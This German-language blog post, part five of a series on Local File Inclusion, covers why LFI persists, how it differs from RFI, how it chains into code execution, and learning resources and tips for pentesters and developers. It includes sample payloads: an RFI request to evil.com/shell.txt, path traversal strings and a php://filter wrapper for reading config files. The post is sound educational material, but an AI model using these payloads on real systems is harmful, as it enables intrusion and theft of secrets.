Teil 5 – Ausblick & Ressourcen zu Local File Inclusion (LFI)

Sep. 12, 2025

—

von

Stefan

in Cyber Security, Local File Inclusion, Websecurity

Warum LFI ein Dauerproblem bleibt

Viele halten LFI für eine „alte PHP-Schwachstelle“. Doch die Realität zeigt: LFI ist bis heute aktuell. Warum?

Legacy-Code
- Viele alte Anwendungen nutzen immer noch direkte include() oder require()-Aufrufe.
- Auch wenn moderne Frameworks sicherer sind, laufen Legacy-Systeme oft jahrelang weiter.
Copy & Paste-Coding
- Entwickler übernehmen Code-Beispiele aus Foren oder Stack Overflow.
- „Einfacher“ Code ohne Sicherheitsmaßnahmen bleibt hängen.
Neue Kombinationen
- LFI wird oft mit anderen Angriffen kombiniert (File Upload, Log Poisoning, SQLi).
- Selbst wenn LFI „nur lesen“ erlaubt, führt es oft zur vollen Remote Code Execution (RCE).

LFI vs. RFI – der kleine, aber feine Unterschied

LFI (Local File Inclusion)
- Der Angreifer lädt lokale Dateien vom Server.
- Beispiel: /etc/passwd, config.php.
RFI (Remote File Inclusion)
- Der Angreifer lädt externe Dateien aus dem Internet nach.
- Beispiel: include($_GET["page"]); mit ?page=http://evil.com/shell.txt.

Warum RFI seltener ist

Viele Server sind inzwischen so konfiguriert, dass externe Includes (allow_url_include) deaktiviert sind.
Aber: LFI ist fast immer möglich, wenn ungesicherte Includes existieren.

Warum LFI trotzdem gefährlicher sein kann

RFI = schneller Exploit, leicht zu entdecken.
LFI = subtil, schwer zu finden, aber mächtiger in Kombination.

LFI als Sprungbrett

1. Informationslecks

Mit LFI lassen sich interne Strukturen aufdecken.
Beispiel: .env-Dateien mit API-Keys, Datenbank-Logins.
Angreifer kann diese Infos für weitere Angriffe nutzen (SQLi, API-Abuse).

2. Remote Code Execution

Log Poisoning: PHP-Code in Logs → via LFI ausgeführt.
File Upload: Upload einer manipulierten Datei → via LFI eingebunden.

3. Privilegienausweitung

Zugriff auf Konfigurationsdateien des Servers → z. B. SSH-Keys.
Damit können Angreifer über LFI hinaus auf das gesamte System zugreifen.

Zukunft von LFI

Moderne Frameworks

Laravel, Symfony, Django & Co. setzen auf Routing statt include().
Das macht klassische LFI unwahrscheinlicher.

Aber: Neue Angriffsflächen

Microservices: LFI kann Konfigurationsdateien in Containern offenlegen.
DevOps: LFI auf .docker/config.json, .kube/config → Zugang zu ganzen Clustern.
Cloud-Umgebungen: LFI kann Cloud-Metadaten abrufen, wenn Dateisysteme gemountet sind.

Fazit

LFI hat sich vom simplen „/etc/passwd auslesen“ zu einem Einfallstor in komplexe Systeme entwickelt.

Ressourcen zum Weiterlernen

Offizielle Guides

OWASP Testing Guide → Abschnitt über File Inclusion
OWASP Cheat Sheet: File Inclusion Prevention

Interaktive Labs

PortSwigger Web Security Academy
👉 https://portswigger.net/web-security/file-path-traversal
Enthält Labs zu LFI, Directory Traversal und RFI.

Exploit-DB

Suche nach „Local File Inclusion“ zeigt hunderte reale Exploits.
Nützlich, um Payloads und Patterns zu studieren.

Bücher & Talks

„The Web Application Hacker’s Handbook“ – Klassiker mit vielen Beispielen zu File Inclusion.
Diverse Konferenz-Talks über LFI→RCE-Ketten, speziell in Bug-Bounty-Kontexten.

Praktische Tipps für Pentester

Immer systematisch testen: ../, %2e%2e%2f, doppelt encodiert.
Wrapper nutzen: php://filter/convert.base64-encode/resource=config.php.
Zuerst Beweis, dann Kette: /etc/passwd beweist LFI, dann nach Konfig-Dateien suchen.
RCE nur in kontrollierten Labs ausprobieren, nie auf Produktionssystemen.

Praktische Tipps für Entwickler

Whitelisting statt Blacklisting.
Framework-Routing nutzen, keine eigenen Includes.
Dateirechte minimieren (open_basedir, chmod).
Code-Reviews mit Security-Brille: Pfadeingaben sind immer kritisch.
Tests: gezielt versuchen, ../etc/passwd einzuschleusen – wenn das klappt, ist LFI da.

Analogie zum Schluss: Von der Bibliothek zum Rechenzentrum

In Teil 1 hatten wir die Bibliothek als Analogie.

Mit LFI ist es, als ob man in das Archiv gelangt.
Mit LFI + Log Poisoning hat man plötzlich den Generalschlüssel.
In modernen Systemen bedeutet LFI: Zugang nicht nur zur Bibliothek, sondern gleich zum gesamten Rechenzentrum – Cloud, Container, Datenbanken.

Darum bleibt LFI auch in Zukunft ein ernstes Thema.